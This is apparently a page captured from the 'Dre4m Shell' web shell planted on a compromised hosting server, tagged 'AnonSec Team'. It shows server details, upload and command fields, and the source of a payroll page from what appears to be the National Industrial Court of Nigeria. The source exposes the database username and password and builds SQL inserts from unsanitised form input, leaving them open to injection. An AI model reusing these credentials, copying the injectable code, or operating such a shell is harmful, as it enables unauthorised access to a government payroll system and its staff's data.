ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.139.83.86
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/consolidated/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /home/nicngo5/consolidated/createSignatory.php
<?php
session_start(); 
require_once('business logic/classes/users.php');

$con = mysqli_connect("localhost","nicngov_payroll","_nicn.payroll@","nicngov_payroll");

if(isset($_POST['submit']))
{
$bankGroup = mysqli_real_escape_string($con,$_POST['bankgroup']);
$bank = mysqli_real_escape_string($con,$_POST['bank']);
$year = mysqli_real_escape_string($con,$_POST['year']);
$division = mysqli_real_escape_string($con,$_POST['division']);
$rank = mysqli_real_escape_string($con,$_POST['rank']);
$_SESSION['division'] = $_POST['division'];
header("location:penames.php?bank=$bank&bgroup=$bankGroup&yr=$year&div=$division&rk=$rank");


}

 $arrears = mysqli_query($con, "select * from tblarrears where year = 2016 and fileno = 1002");
    foreach ($arrears as $key) {
       $key['oldGrade'];
    }

    $allbanklist = mysqli_query($con,"select DISTINCT a.bank from tblper a join tblbanklist b where a.bank = b.bank ");

    $divs = mysqli_query($con,"select * from tbldivision");

 ?>
 
 
 <?php
if(isset($_POST['action']))
{
        
        $phone1         = trim($_POST['phone1']);
        $sig1           = trim($_POST['signatory1']);
        $phone2         = trim($_POST['phone2']);
        $sig2           = trim($_POST['signatory2']);
        $phone3         = trim($_POST['phone3']);
        $sig3           = trim($_POST['signatory3']);
        $month          = trim($_POST['month']);
        $year           = trim($_POST['year']);
        $name1          = trim($_POST['name1']);
        $name2          = trim($_POST['name2']);
        $name3          = trim($_POST['name3']);
        $date           = date('Y-m-d');

        $sql =  mysqli_query($con,"select from signatory where month = $month and year = $year");
         $check = mysqli_num_rows($sql);
        if($check >= 1)
        {
            $message = 'Signatories Already set for this month';
        }
        else
        {
          $sign1 = "insert into signatory (signatoryId,name,phone,month,year,sequence,created_at) values ('$sig1','$name1','$phone1','$month','$year',1,'$date')";
         
          $sign2 = "insert into signatory (signatoryId,name,phone,month,year,sequence,created_at) values ('$sig2','$name2','$phone2','$month','$year',2,'$date')";

         $sign3 = "insert into signatory (signatoryId,name,phone,month,year,sequence,created_at) values ('$sig3','$name3','$phone3','$month','$year',3,'$date')";
         
           if ($con->query($sign1) === TRUE && $con->query($sign2) === TRUE && $con->query($sign3) === TRUE) {
    $message = '<div class="success">Successfully Entered</div>';
} else {
    $message = '<div class="success">Error Saving Signatories</div>';
}        
        }
}
?>

  <?php
$getSignatory1 = mysqli_query($con, 'select * from tblsignatory where category = 1 order by rank');
$getSignatory2 = mysqli_query($con, 'select * from tblsignatory where category = 2 ');
$getSignatory3 = mysqli_query($con, 'select * from tblsignatory where category = 2 ');
     
 ?>


<?php
//require_once('business login/classes/.php');

$user = new User();
$uid = $_SESSION['uid'];
$access = $_SESSION['acc'];
//
if($access > 2)
   header("location:delay.php");

if (!$user->get_session())
{
   header("location:myown_mainpage.php?you are not login");
}
//
if (isset($_GET['q']) and $_GET['q'] == 'logout') 
{
    $user->user_logout();
    header("location:myown_mainpage.php? you are log out");
}
//

?>



<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="shortcut icon" href="images/favicon.ico">
<title>National Industrial Court of Nigeria...::...Classification Code</title>
<link href="css/payroll.css" rel="stylesheet" type="text/css" />

<script type="text/javascript" src="js/jQuery-2.2.0.min.js"></script>

<script type="text/javascript">
 $(document).ready(function() {

  $("#signatory1").on('change', function(){

var id = $(this).val();
//alert(id);
//$token = $("input[name='_token']").val();
$.ajax({
 // headers: {'X-CSRF-TOKEN': $token},
  url: 'getSignatoryAjax.php',
  type: "POST",
  dataType: "json",
  data: {'signid': id},
   
  success: function(datas){
  console.log(datas);   
    //alert(datas[0].phoneno);
   $('#phone1').val(datas[0].phoneno);
    $('#name1').val(datas[0].fullname);
  }
});
});


  $("#signatory2").on('change', function(){

var id = $(this).val();
//alert(id);
//$token = $("input[name='_token']").val();
$.ajax({
  //headers: {'X-CSRF-TOKEN': $token},
  url: 'getSignatoryAjax.php',
  type: "post",
  dataType: "json",
  data: {'signid': id},
   
  success: function(datas){
  console.log(datas[0].phoneno);   
    //alert(datas.phoneno);
   $('#phone2').val(datas[0].phoneno);
    $('#name2').val(datas[0].fullname);
  }
});
});

$("#signatory3").on('change', function(){

var id = $(this).val();
//alert(id);
//$token = $("input[name='_token']").val();
$.ajax({
 // headers: {'X-CSRF-TOKEN': $token},
  url: 'getSignatoryAjax.php',
  type: "post",
  dataType: "json",
  data: {'signid': id},
   
  success: function(datas){
  console.log(datas[0].phoneno);   
    //alert(datas.phoneno);
   $('#phone3').val(datas[0].phoneno);
    $('#name3').val(datas[0].fullname);
  }
});
});


});
</script>


<style type="text/css">
.success
{
font-size:18px;
color:green;
}
<!--
.style25 {  font-family: Verdana, Arial, Helvetica, sans-serif;
  color: #FF0000;
}
a:link {
  text-decoration: none;
}
a:visited {
  text-decoration: none;
}
a:hover {
  text-decoration: underline;
}
a:active {
  text-decoration: none;
}
.inputs { background-color: #ffffff;
  margin: 2px;
  padding: 2px;
  border: 1px solid #FF8A00;
color:#000;
}
-->
select
{
color:#000;
}
</style>
</head>

<body>
<table width="744" border="0" cellpadding="0" cellspacing="0" class="container" align="center" >
  <!--DWLayoutTable-->
  <tr>
    <td width="800" height="42" colspan="2" valign="top"><?php require_once('header.php');?></td>
  </tr>
  <tr>
    <td height="19" colspan="2" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0" class="bottomborder">
      <!--DWLayoutTable-->
      <tr>
        <td width="33%">&nbsp;<a href="userArea.php">Home</a> </td>
        <td width="67%"><?php 
       //$user->getLink($access);
        $user->get_fullname($uid);
    
    ?><a href="?q=logout">Logout</a>&nbsp;</td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td height="243" valign="top"><?php require('links.php');?>
<br /></td>
    <td valign="top"><table width="310" border="0" align="left" cellpadding="0" cellspacing="0">
      <tr>
        <td width="310" colspan="3"><br />
        <fieldset>
          <legend>Consolidated Payroll Report<br />
            </legend>
            <div> <?php echo $message; ?></div>
          <form method="post" action="">
<table width="100%">
 
  <tr>
    <td>
    <label for="bankGroup">Signatory 1</label>
    <select name="signatory1" id="signatory1" required="true" class="form-control" >
    <option value="">Select</option>
    <?php
    foreach($getSignatory1 as $list)
    {
    echo '<option value="'.$list['signatoryID'].'">'.$list['fullname'].'</option>';
    }
    ?>
    </select>
    </td>
    <td>
    <label for="month">Phone</label>
    <input type="text" name="phone1" id="phone1" class="form-control">
    <input type="hidden" name="name1" id="name1" class="form-control">
    </td>
  </tr>
  <tr>
    <td>
    <label for="bankGroup">Signatory 2</label>
    <select name="signatory2" id="signatory2" class="form-control">
    <option value="">Select</option>
    <?php
    foreach($getSignatory2 as $list)
    {
    echo '<option value="'.$list['signatoryID'].'">'.$list['fullname'].'</option>';
    }
    ?>
    </select>
    </td>
    <td>
    <label for="bank">Phone</label>
    <input type="text" name="phone2" id="phone2" class="form-control">
    <input type="hidden" name="name2" id="name2" class="form-control">
    </td>
  </tr>
  <tr>
    <td>
    <label for="bankGroup">Signatory 3</label>
    <select name="signatory3" id="signatory3" class="form-control">
    <option value="">Select</option>
    <?php
    foreach($getSignatory3 as $list)
    {
    echo '<option value="'.$list['signatoryID'].'">'.$list['fullname'].'</option>';
    }
    ?>
    </select>
    </td>
    <td>
    <label for="workingState">Phone</label>
    <input type="text" name="phone3" id="phone3" class="form-control">
    <input type="hidden" name="name3" id="name3" class="form-control"></td>
  </tr>
  <tr>
    <td>
    <label for="bankGroup">Month</label>
    <select name="month" id="month" class="form-control">

    <option value=""></option>
    <option value="January">January</option>
    <option value="February">February</option>
    <option value="March">March</option>
    <option value="April">April</option>
    <option value="May">May</option>
    <option value="June">June</option>
    <option value="July">July</option>
    <option value="August">August</option>
    <option value="September">September</option>
    <option value="October">October</option>
    <option value="November">November</option>
    <option value="December">December</option>

    </select>
        </td>
    <td>
      <label for="workingState">Year</label>
      <select name="year" id="year" class="form-control">
        <option></option>
        <option value="2010">2010</option>
        <option value="2011">2011</option>
        <option value="2012">2012</option>
        <option value="2013">2013</option>
        <option value="2014">2014</option>
        <option value="2015">2015</option>
        <option value="2016">2016</option>
        <option value="2017">2017</option>
        <option value="2018">2018</option>
        <option value="2019">2019</option>
        <option value="2020">2020</option>
        <option value="2021">2021</option>
        <option value="2022">2022</option>
        <option value="2023">2023</option>
        <option value="2024">2024</option>
        <option value="2025">2025</option>
        <option value="2026">2026</option>
        <option value="2027">2027</option>
        <option value="2028">2028</option>
        <option value="2029">2029</option>
        <option value="2030">2030</option>
        <option value="2031">2031</option>
        <option value="2032">2032</option>
        <option value="2033">2033</option>
        <option value="2024">2034</option>
        <option value="2035">2035</option>
        <option value="2036">2036</option>
        <option value="2037">2037</option>
        <option value="2038">2038</option>
        <option value="2039">2039</option>
        <option value="2040">2040</option>
        
       </select>
    </td>
  </tr>
  <tr>
    <td><button name="action" id="action" class="btn btn-success" type="submit">SAVE</button></td>
    <td>&nbsp;</td>
  </tr>
</table>
</form>

        </fieldset></td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td height="20" colspan="2" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0">
      <!--DWLayoutTable-->
      <tr>
        <td>
    </td>
      </tr>
    </table></td>
  </tr>
</table>
</body>
</html>
<?php $user->close();?>

Anon7 - 2022
AnonSec Team